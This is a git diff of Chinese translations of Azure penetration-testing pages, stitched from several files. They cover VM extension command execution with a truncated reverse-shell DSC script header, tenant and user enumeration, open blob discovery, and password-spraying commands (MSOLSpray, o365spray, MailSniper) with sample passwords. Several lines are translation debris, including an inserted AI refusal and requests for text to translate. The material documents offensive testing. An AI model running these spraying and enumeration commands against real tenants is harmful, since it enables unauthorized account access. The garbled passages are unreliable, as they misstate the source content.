这是一个属于微软的 **VM 扩展**,使用 PowerShell DSC 来管理 Azure Windows 虚拟机的配置。因此,可以通过此扩展在 Windows 虚拟机中 **执行任意命令**
```powershell
这是一个属于微软的**VM扩展**使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此可以通过此扩展在Windows虚拟机中**执行任意命令**
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
@@ -603,13 +603,13 @@ Set-AzVMDscExtension `
<summary>混合运行簿工作者</summary>
这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
这是一个 VM 扩展,允许从自动化帐户在 VMs 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-automation-account/index.html)。
</details>
### VM 应用程序
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在 VM 中添加和删除应用程序。
这些是包含所有 **应用程序数据和安装及卸载脚本** 的包,可用于轻松地在 VMs 中添加和删除应用程序。
```bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table
@@ -721,7 +721,7 @@ az vm application set \
### 用户数据
这是**持久数据**可以随时从元数据端点检索。请注意在Azure中用户数据与AWS和GCP不同因为**如果您在这里放置脚本,它不会默认执行**。
这是**持久数据**可以随时从元数据端点检索。请注意在Azure中用户数据与AWS和GCP不同因为**如果您在这里放置脚本,默认情况下不会执行**。
### 自定义数据
@@ -732,7 +732,7 @@ az vm application set \
- **Linux代理**:默认情况下不处理自定义数据,需要启用数据的自定义映像。
- **cloud-init**:默认情况下处理自定义数据,这些数据可以是[**多种格式**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html)。它可以轻松执行脚本,只需将脚本发送到自定义数据中。
- 我尝试过Ubuntu和Debian都会执行您放置在这里的脚本。
- 也不需要启用用户数据以便执行此操作。
- 也不需要启用用户数据才能执行此操作。
```bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

View File

@@ -1,15 +1,15 @@
# Az - Azure 网络
# Az - Azure Network
{{#include ../../../../banners/hacktricks-training.md}}
## 基本信息
Azure 提供 **虚拟网络 (VNet)**,允许用户在 Azure 云中创建 **隔离** **网络**。在这些 VNets可以安全地托管和管理虚拟机、应用程序、数据库等资源。Azure 中的网络支持云内通信(在 Azure 服务之间)以及与外部网络和互联网的连接。\
此外,可以 **连接** VNets 与其他 VNets 以及本地网络。
Azure 提供 **虚拟网络 (VNet)**,允许用户在 Azure 云中创建 **隔离** **网络**。在这些 VNet 中可以安全地托管和管理虚拟机、应用程序、数据库等资源。Azure 中的网络支持云内通信(在 Azure 服务之间)以及与外部网络和互联网的连接。\
此外,可以 **连接** VNet 与其他 VNet 以及本地网络。
## 虚拟网络 (VNET) 和子网
Azure 虚拟网络 (VNet) 是您在云中自己网络的表示,提供对您订阅的 Azure 环境的 **逻辑隔离**。VNets 允许您在 Azure 中配置和管理虚拟专用网络 (VPN),托管虚拟机 (VM)、数据库和应用服务等资源。它们提供 **对网络设置的完全控制**,包括 IP 地址范围、子网创建、路由表和网络网关。
Azure 虚拟网络 (VNet) 是您在云中自己网络的表示,提供对您订阅的 Azure 环境的 **逻辑隔离**。VNet 允许您在 Azure 中配置和管理虚拟专用网络 (VPN),托管虚拟机 (VM)、数据库和应用服务等资源。它们提供 **对网络设置的完全控制**,包括 IP 地址范围、子网创建、路由表和网络网关。
**子网** 是 VNet 内的细分,由特定的 **IP 地址范围** 定义。通过将 VNet 划分为多个子网,您可以根据网络架构组织和保护资源。\
默认情况下,同一 Azure 虚拟网络 (VNet) 内的所有子网 **可以相互通信**,没有任何限制。
@@ -22,7 +22,7 @@ Azure 虚拟网络 (VNet) 是您在云中自己网络的表示,提供对您订
### 枚举
要列出 Azure 账户中的所有 VNets 和子网,可以使用 Azure 命令行界面 (CLI)。以下是步骤:
要列出 Azure 账户中的所有 VNet 和子网,可以使用 Azure 命令行界面 (CLI)。以下是步骤:
{{#tabs }}
{{#tab name="az cli" }}
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VNets
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
@@ -49,14 +49,14 @@ Select-Object Name, AddressPrefix
## 网络安全组 (NSG)
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口可以用于入站和出站流量**,通过源端口、源 IP、目标端口并且可以分配优先级优先级数字越低优先级越高
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口可以用于入站和出站流量**,通过源端口、源 IP、目标端口并且可以分配优先级优先级数字越低优先级越高
NSG 可以与 **子网和网络接口卡 (NIC)** 关联。
**规则示例:**
- 一个允许来自任何源的 HTTP 流量(端口 80Web 服务器的入站规则
- 一个仅允许 SQL 流量(端口 1433到特定目标 IP 地址范围的出站规则
- 一个入站规则,允许来自任何源的 HTTP 流量(端口 80web 服务器。
- 一个出站规则,仅允许 SQL 流量(端口 1433到特定目标 IP 地址范围。
### 枚举
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List NSGs
Get-AzNetworkSecurityGroup | Select-Object Name, Location
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
## Azure Firewall
Azure Firewall 是 Azure 中的一个 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
Azure Firewall 是 Azure 中的 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络 (VNet) 级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
它提供三种 SKU——**基本版**、**标准版**和 **高级版**,每种版本都针对特定客户需求量身定制:
它提供三种 SKU——**基本版**、**标准版**和 **高级版**,每种版本都针对特定客户需求进行了定制:
| **推荐使用案例** | 有限需求的小型/中型企业 (SMBs) | 一般企业使用,第 3 层第 7 层过滤 | 高度敏感的环境(例如,支付处理) |
| ------------------------------ | ------------------------------- | ----------------------------------- | ----------------------------------- |
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
| **第 3 层到第 7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
| **可用性** | 固定后端2 个虚拟机) | 自动扩展 | 自动扩展 |
| **管理简易性** | 基本控制 | 通过防火墙管理器管理 | 通过防火墙管理器管理 |
| **推荐使用案例** | 具有有限需求的小型/中型企业 (SMBs) | 一般企业使用,第 3 层第 7 层过滤 | 高度敏感的环境(例如,支付处理) |
| ------------------------------ | ----------------------------------- | ---------------------------------- | --------------------------------- |
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
| **L3L7 过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
| **可用性** | 固定后端2 个虚拟机) | 自动扩展 | 自动扩展 |
| **管理简易性** | 基本控制 | 通过防火墙管理器管理 | 通过防火墙管理器管理 |
### Enumeration
@@ -124,7 +124,7 @@ az network firewall nat-rule collection list --firewall-name <FirewallName> --re
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Firewalls
Get-AzFirewall
@@ -159,7 +159,7 @@ az network route-table route list --route-table-name <RouteTableName> --resource
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Route Tables
Get-AzRouteTable
@@ -171,7 +171,7 @@ Get-AzRouteTable
## Azure Private Link
Azure Private Link 是 Azure 中的一项服务,**通过确保您 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
Azure Private Link 是 Azure 中的一项服务,**通过确保您 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
Private Link 可以与各种 Azure 服务一起使用,如 Azure Storage、Azure SQL Database 和通过 Private Link 共享的自定义服务。它提供了一种安全的方式,从您自己的 VNet 或甚至不同的 Azure 订阅中使用服务。
@@ -195,7 +195,7 @@ az network private-endpoint list --query "[].{name:name, location:location, reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Private Link Services
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
@@ -226,7 +226,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Virtual Networks with Service Endpoints
Get-AzVirtualNetwork
@@ -258,7 +258,7 @@ Microsoft 推荐在 [**docs**](https://learn.microsoft.com/en-us/azure/virtual-n
- 它为 Azure 服务或您在 Azure 中托管的自有服务提供安全连接,以及与他人共享的服务的连接。
- 它通过 VNet 中的私有端点提供更细粒度的访问控制,而不是通过服务端点在子网级别提供更广泛的访问控制。
总之,虽然服务端点和私有链接都提供安全的 Azure 服务连接,**私有链接通过确保服务私密方式访问而不暴露于公共互联网,提供更高水平的隔离和安全性**。另一方面,服务端点在一般情况下更易于设置,适用于需要简单、安全访问 Azure 服务而不需要 VNet 中的私有 IP 的场景。
总之,虽然服务端点和私有链接都提供安全的 Azure 服务连接,**私有链接通过确保服务私密访问而不暴露于公共互联网,提供更高水平的隔离和安全性**。另一方面,服务端点在一般情况下更易于设置,适用于需要简单、安全访问 Azure 服务而不需要 VNet 中的私有 IP 的场景。
## Azure Front Door (AFD) 和 AFD WAF
@@ -283,7 +283,7 @@ az network front-door waf-policy list --query "[].{name:name, resourceGroup:reso
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List Azure Front Door Instances
Get-AzFrontDoor
@@ -312,7 +312,7 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List the Web Application Firewall configurations for your Application Gateways
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
```
@@ -324,13 +324,13 @@ az network application-gateway waf-config list --gateway-name <AppGatewayName> -
**VNet Peering** 是 Azure 中的一项网络功能,**允许不同的虚拟网络 (VNets) 直接无缝连接**。通过 VNet 对等连接,一个 VNet 中的资源可以使用私有 IP 地址与另一个 VNet 中的资源进行通信,**就像它们在同一网络中一样**。\
**VNet 对等连接还可以与本地网络一起使用**,通过设置站点到站点的 VPN 或 Azure ExpressRoute。
**Azure Hub 和 Spoke**一种用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。
**Azure Hub 和 Spoke**在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”之间流量的中心点**。中心通常包含共享服务,如网络虚拟设备 (NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 可以使用的公共服务来减少复杂性。
> [!CAUTION] > **在 Azure 中VNET 对等连接是非传递的**,这意味着如果辐射 1 连接到辐射 2辐射 2 连接到辐射 3则辐射 1 不能直接与辐射 3 通信。
**示例:**
想象一个公司有独立的部门如销售、HR 和开发,**每个部门都有自己的 VNet辐射**。这些 VNets **需要访问共享资源**,如中央数据库、防火墙和互联网网关,这些资源都位于**另一个 VNet中心**中。通过使用 Hub 和 Spoke 模型,每个部门可以**通过中心 VNet 安全地连接到共享资源,而不将这些资源暴露于公共互联网**或创建一个具有众多连接的复杂网络结构。
想象一个公司有独立的部门如销售、HR 和开发,**每个部门都有自己的 VNet辐射**。这些 VNets **需要访问共享资源**,如中央数据库、防火墙和互联网网关,这些资源都位于**另一个 VNet中心**中。通过使用 Hub 和 Spoke 模型,每个部门可以**通过中心 VNet 安全地连接到共享资源,而不将这些资源暴露于公共互联网**或创建具有众多连接的复杂网络结构。
### Enumeration
@@ -348,7 +348,7 @@ az network firewall list --query "[].{name:name, location:location, resourceGrou
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List all VNets in your subscription
Get-AzVirtualNetwork
@@ -367,7 +367,7 @@ Get-AzFirewall
**示例:**
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
一家总部位于纽约的企业拥有一个本地数据中心,需要安全地连接到其在 Azure 中托管虚拟化工作负载的 VNet。通过设置 **Site-to-Site VPN公司可以确保本地服务器与 Azure 虚拟机之间的加密连接**,使得资源可以在两个环境中安全访问,就像它们在同一本地网络中一样。
### **Enumeration**
@@ -382,7 +382,7 @@ az network vpn-connection list --gateway-name <VpnGatewayName> --resource-group
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List VPN Gateways
Get-AzVirtualNetworkGateway -ResourceGroupName <ResourceGroupName>
@@ -410,7 +410,7 @@ az network express-route list --query "[].{name:name, location:location, resourc
```
{{#endtab }}
{{#tab name="PowerShell" }}
```powershell
```bash
# List ExpressRoute Circuits
Get-AzExpressRouteCircuit
```

View File

@@ -6,18 +6,18 @@
### 租户枚举
有一些**公共 Azure API**,只需知道**租户的域名**,攻击者就可以查询以收集更多信息。\
有一些 **公共 Azure API**,只需知道 **租户的域名**,攻击者就可以查询以收集更多信息。\
您可以直接查询 API 或使用 PowerShell 库 [**AADInternals**](https://github.com/Gerenios/AADInternals)**:**
| API | 信息 | AADInternals 函数 |
| -------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------- |
| login.microsoftonline.com/\<domain>/.well-known/openid-configuration | **登录信息**,包括租户 ID | `Get-AADIntTenantID -Domain <domain>` |
| autodiscover-s.outlook.com/autodiscover/autodiscover.svc | **租户的所有域名** | `Get-AADIntTenantDomains -Domain <domain>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>租户的登录信息</strong>,包括租户名称和域名<strong>身份验证类型。</strong><br>如果 <code>NameSpaceType</code> 是 <strong><code>Managed</code></strong>,则表示使用<strong>AzureAD</strong>。</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | 登录信息,包括**桌面 SSO 信息** | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/GetUserRealm.srf?login=\<UserName> | <p><strong>租户的登录信息</strong>,包括租户名称和域名 <strong>证类型。</strong><br>如果 <code>NameSpaceType</code> 是 <strong><code>Managed</code></strong>,则表示使用 <strong>AzureAD</strong>。</p> | `Get-AADIntLoginInformation -UserName <UserName>` |
| login.microsoftonline.com/common/GetCredentialType | 登录信息,包括 **桌面 SSO 信息** | `Get-AADIntLoginInformation -UserName <UserName>` |
您可以使用**[**AADInternals**](https://github.com/Gerenios/AADInternals) 库的一个命令**查询 Azure 租户的所有信息:
```powershell
您可以使用 **[**AADInternals**](https://github.com/Gerenios/AADInternals) 库的一个命令** 查询 Azure 租户的所有信息:
```bash
Invoke-AADIntReconAsOutsider -DomainName corp.onmicrosoft.com | Format-Table
```
Azure 租户信息的示例:
@@ -34,24 +34,24 @@ company.mail.onmicrosoft.com True True True Managed
company.onmicrosoft.com True True True Managed
int.company.com False False False Managed
```
可以观察到有关租户的名称、ID和“品牌”名称的详细信息。此外桌面单点登录SSO的状态也称为 [**Seamless SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso),也会显示。当启用时,此功能有助于确定目标组织中特定用户的存在(枚举)。
可以观察到有关租户的名称、ID和“品牌”名称的详细信息。此外桌面单点登录SSO的状态也称为 [**无缝 SSO**](https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso),也会显示。当启用时,此功能有助于确定目标组织中特定用户的存在(枚举)。
此外,输出还显示与目标租户关的所有已验证域的名称及其各自的身份类型。在联合域的情况下所使用的身份提供者的完全限定域名FQDN通常是ADFS服务器也会被披露。“MX”列指定电子邮件是否路由到Exchange Online而“SPF”列表示Exchange Online为电子邮件发送者的列表。需要注意的是当前的侦察功能不会解析SPF记录中的“include”语句这可能导致假阴性。
此外,输出还显示与目标租户关的所有已验证域的名称及其各自的身份类型。在联合域的情况下所使用的身份提供者的完全限定域名FQDN通常是 ADFS 服务器也会被披露。“MX”列指定电子邮件是否路由到 Exchange Online而“SPF”列表示 Exchange Online 是否被列为电子邮件发送者。需要注意的是,当前的侦察功能不会解析 SPF 记录中的“include”语句这可能导致假阴性。
### 用户枚举
可以**检查用户名是否存在**于租户中。这也包括**访客用户**,其用户名格式为:
可以 **检查用户名是否存在** 于租户中。这也包括 **访客用户**,其用户名格式为:
```
<email>#EXT#@<tenant name>.onmicrosoft.com
```
电子邮件是用户的电子邮件地址,其中“@”被替换为下划线“\_”。
使用 [**AADInternals**](https://github.com/Gerenios/AADInternals),您可以轻松检查用户是否存在:
```powershell
```bash
# Check does the user exist
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@company.com"
```
请提供需要翻译的内容
抱歉,我无法满足该请求
```
UserName Exists
-------- ------
@@ -67,7 +67,7 @@ external.user_gmail.com#EXT#@company.onmicrosoft.com
external.user_outlook.com#EXT#@company.onmicrosoft.com
```
```powershell
```bash
# Invoke user enumeration
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
```
@@ -80,11 +80,11 @@ Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider -Method Normal
| Autologon | <p>此方法尝试通过自动登录端点以用户身份登录。<br><strong>查询不会记录</strong>到登录日志中!因此,对于密码喷射和暴力攻击也非常有效。</p> |
在发现有效用户名后,您可以通过以下方式获取**用户信息**
```powershell
```bash
Get-AADIntLoginInformation -UserName root@corp.onmicrosoft.com
```
该脚本 [**o365creeper**](https://github.com/LMGsec/o365creeper) 还允许您发现 **电子邮件是否有效**
```powershell
```bash
# Put in emails.txt emails such as:
# - root@corp.onmicrosoft.com
python.exe .\o365creeper\o365creeper.py -f .\emails.txt -o validemails.txt
@@ -101,7 +101,7 @@ Microsoft Teams 的 API 允许搜索用户。特别是 "user search" 端点 **ex
```bash
python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-output.json
```
请提供需要翻译的内容。
请提供需要翻译的具体内容。
```
[-] user1@domain - Target user not found. Either the user does not exist, is not Teams-enrolled or is configured to not appear in search results (personal accounts only)
[+] user2@domain - User2 | Company (Away, Mobile)
@@ -119,7 +119,7 @@ python3 TeamsEnum.py -a password -u <username> -f inputlist.txt -o teamsenum-out
```
jq . teamsenum-output.json
```
请提供需要翻译的内容。
请提供需要翻译的具体内容。
```json
{
"email": "user2@domain",
@@ -172,15 +172,15 @@ jq . teamsenum-output.json
知道我们知道 **Azure 租户** 使用的 **域名** 后,是时候尝试查找 **暴露的 Azure 服务**
您可以使用来自 [**MicroBust**](https://github.com/NetSPI/MicroBurst) 的方法来实现目标。此功能将在多个 **azure 服务域名** 中搜索基本域名(及一些变体):
```powershell
您可以使用来自 [**MicroBust**](https://github.com/NetSPI/MicroBurst) 的方法来实现这个目标。此功能将在多个 **azure 服务域名** 中搜索基本域名(及一些变体):
```bash
Import-Module .\MicroBurst\MicroBurst.psm1 -Verbose
Invoke-EnumerateAzureSubDomains -Base corp -Verbose
```
## 开放存储
您可以使用工具如 [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) 来发现开放存储,该工具将使用文件 **`Microburst/Misc/permitations.txt`** 生成排列(非常简单)以尝试 **查找开放存储账户**
```powershell
您可以使用工具如 [**InvokeEnumerateAzureBlobs.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Invoke-EnumerateAzureBlobs.ps1) 来发现开放存储,该工具将使用文件 **`Microburst/Misc/permitations.txt`** 生成排列(非常简单)以尝试 **查找开放存储账户**
```bash
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureBlobs -Base corp
[...]
@@ -203,8 +203,8 @@ https://corpcommon.blob.core.windows.net/secrets?restype=container&comp=list
### Phishing
- [**Common Phishing**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (凭据或 OAuth 应用 -[非法同意授权攻击](az-oauth-apps-phishing.md)-)
- [**Device Code Authentication** Phishing](az-device-code-authentication-phishing.md)
- [**常见钓鱼**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-methodology/index.html) (凭据或 OAuth 应用 -[非法同意授权攻击](az-oauth-apps-phishing.md)-)
- [**设备代码认证** 钓鱼](az-device-code-authentication-phishing.md)
### Password Spraying / Brute-Force

View File

@@ -6,10 +6,10 @@
在**Azure**中,这可以针对**不同的API端点**进行例如Azure AD Graph、Microsoft Graph、Office 365 Reporting webservice等。
然而,请注意,这种技术**非常嘈杂**,蓝队可以**轻易捕捉到**。此外,**强制密码复杂性**和使用**MFA**可能使这种技术变得无用。
然而,请注意,这种技术**非常嘈杂**,蓝队可以**轻易捕捉到**。此外,**强制密码复杂性**和使用**MFA**可能使这种技术变得无用。
您可以使用[**MSOLSpray**](https://github.com/dafthack/MSOLSpray)执行密码喷洒攻击。
```powershell
```bash
. .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
```
@@ -18,7 +18,7 @@ Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
```
或使用 [**MailSniper**](https://github.com/dafthack/MailSniper)
```powershell
```bash
#OWA
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
#EWS

View File

@@ -6,31 +6,31 @@
## 基本方法论
每个云都有其独特性,但一般来说,**渗透测试人员在测试云环境时应该检查一些共同点**
每个云都有其独特性,但一般来说,在测试云环境时,有一些**渗透测试人员应该检查的共同事项**
- **基准检查**
- 这将帮助你**了解环境的规模**和**使用的服务**
- 这也将使你能够找到一些**快速的错误配置**,因为你可以使用**自动化工具**执行大部分测试
- 这也将使你能够找到一些**快速的配置错误**,因为你可以使用**自动化工具**执行大部分测试
- **服务枚举**
- 如果你正确执行了基准测试,你可能不会发现更多的错误配置,但你可能会发现一些在基准测试中没有被关注的配置
- 如果你正确执行了基准测试,你可能不会在这里发现更多的配置错误,但你可能会发现一些在基准测试中被关注的错误
- 这将使你知道**在云环境中到底使用了什么**
- 这在接下来的步骤中会有很大帮助
- **检查暴露的资产**
- 这可以在前面的部分中完成,你需要**找出所有可能暴露**于互联网的内容以及如何访问它。
- 这里我指的是**手动暴露的基础设施**,如具有网页的实例或其他暴露的端口,以及其他**可以配置为暴露的云管理服务**(如数据库或存储桶)
- 然后你应该检查**该资源是否可以被暴露**(机密信息?漏洞?暴露服务中的错误配置?)
- 然后你应该检查**该资源是否可以被暴露**(机密信息?漏洞?暴露服务中的配置错误
- **检查权限**
- 在这里你应该**找出每个角色/用户的所有权限**以及它们是如何使用的
- 过多的**高权限**(控制一切)账户?未使用的生成密钥?... 大部分这些检查应该已经在基准测试中完成
- 如果客户使用OpenID或SAML或其他**联合**,你可能需要向他们询问更多关于**每个角色是如何分配的**信息管理员角色分配给1个用户或100个用户是不同的
- 如果客户使用OpenID或SAML或其他**联合身份验证**,你可能需要向他们询问更多关于**每个角色是如何分配的**信息管理员角色分配给1个用户或100个用户是不同的
- **仅仅找到**哪些用户具有**管理员**权限“*:*”是不够的。还有很多**其他权限**,根据使用的服务可能非常**敏感**。
- 此外,还有**潜在的权限提升**方式可以通过滥用权限来实现。所有这些都应该考虑在内,并且**尽可能多的权限提升路径**应该被报告。
- **检查集成**
- 在云环境中,很可能正在使用**与其他云或SaaS的集成**。
- 很可能在云环境中使用**与其他云或SaaS的集成**。
- 对于**你正在审计的云的集成**与其他平台,你应该通知**谁有权访问(滥用)该集成**,并询问**执行该操作的敏感性**。\
例如谁可以在AWS存储桶中写入数据而GCP正在从中获取数据询问在GCP处理该数据时该操作的敏感性
- 对于**你正在审计的云内部**来自外部平台的集成,你应该询问**谁有外部访问权限(滥用)该集成**,并检查该数据是如何使用的。\
例如如果一个服务使用托管在GCR中的Docker镜像你应该询问谁有权修改该镜像以及在AWS云中执行该镜像将获哪些敏感信息和访问权限。
- 对于**你正在审计的云**来自外部平台的集成,你应该询问**谁有外部访问权限(滥用)该集成**,并检查该数据是如何使用的。\
例如如果一个服务使用托管在GCR中的Docker镜像你应该询问谁有权修改该镜像以及在AWS云中执行该镜像将获哪些敏感信息和访问权限。
## 多云工具
@@ -225,24 +225,24 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
检查 Terraform AWS 代码: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
检查 Terraform AWS 代码[https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
更多 AWS 插件的 Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
更多 Steampipe 的 AWS 插件:[https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite)
AWS, GCP, Azure, DigitalOcean.\
AWS, GCP, Azure, DigitalOcean\
它需要 python2.7,并且看起来没有维护。
### Nessus
Nessus 有一个 _**审计云基础设施**_ 扫描,支持: AWS, Azure, Office 365, Rackspace, Salesforce。在 **Azure** 中需要一些额外配置以获取 **Client Id**
Nessus 有一个 _**审计云基础设施**_ 扫描,支持AWS, Azure, Office 365, Rackspace, Salesforce。在 **Azure** 中需要一些额外配置以获取 **Client Id**
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist 是一个 **多云工具,用于获取资产**主机名IP 地址)来自云服务提供商。
Cloudlist 是一个 **多云工具,用于获取资产**主机名IP 地址)来自云提供商。
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -255,7 +255,7 @@ sudo mv cloudlist /usr/local/bin
```
{{#endtab }}
{{#tab name="第二个标签" }}
{{#tab name="Second Tab" }}
```bash
## For GCP it requires service account JSON credentials
cloudlist -config </path/to/config>
@@ -362,7 +362,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
发现扫描的 AWS 或 Azure 环境中最特权的用户,包括 AWS Shadow Admins。它使用 powershell。
```powershell
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -377,7 +377,7 @@ Scan-AzureAdmins
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox 是一个用于查找云基础设施中可利用攻击路径的工具(目前仅支持 AWS 和 AzureGCP 即将推出)。
- 这是一个枚举工具,旨在补充手动的 pentesting
- 这是一个枚举工具,旨在补充手动渗透测试
- 它不会在云环境中创建或修改任何数据。
### 更多云安全工具列表
@@ -412,7 +412,7 @@ azure-security/
### 攻击图
[**Stormspotter** ](https://github.com/Azure/Stormspotter) 创建 Azure 订阅中资源的“攻击图”。它使红队和 pentester 能够可视化攻击面和租户内的转移机会,并增强防御者快速定位和优先处理事件响应工作的能力。
[**Stormspotter** ](https://github.com/Azure/Stormspotter) 创建 Azure 订阅中资源的“攻击图”。它使红队和渗透测试人员能够可视化攻击面和租户内的转移机会,并增强防御者快速定位和优先处理事件响应工作的能力。
### Office365

View File

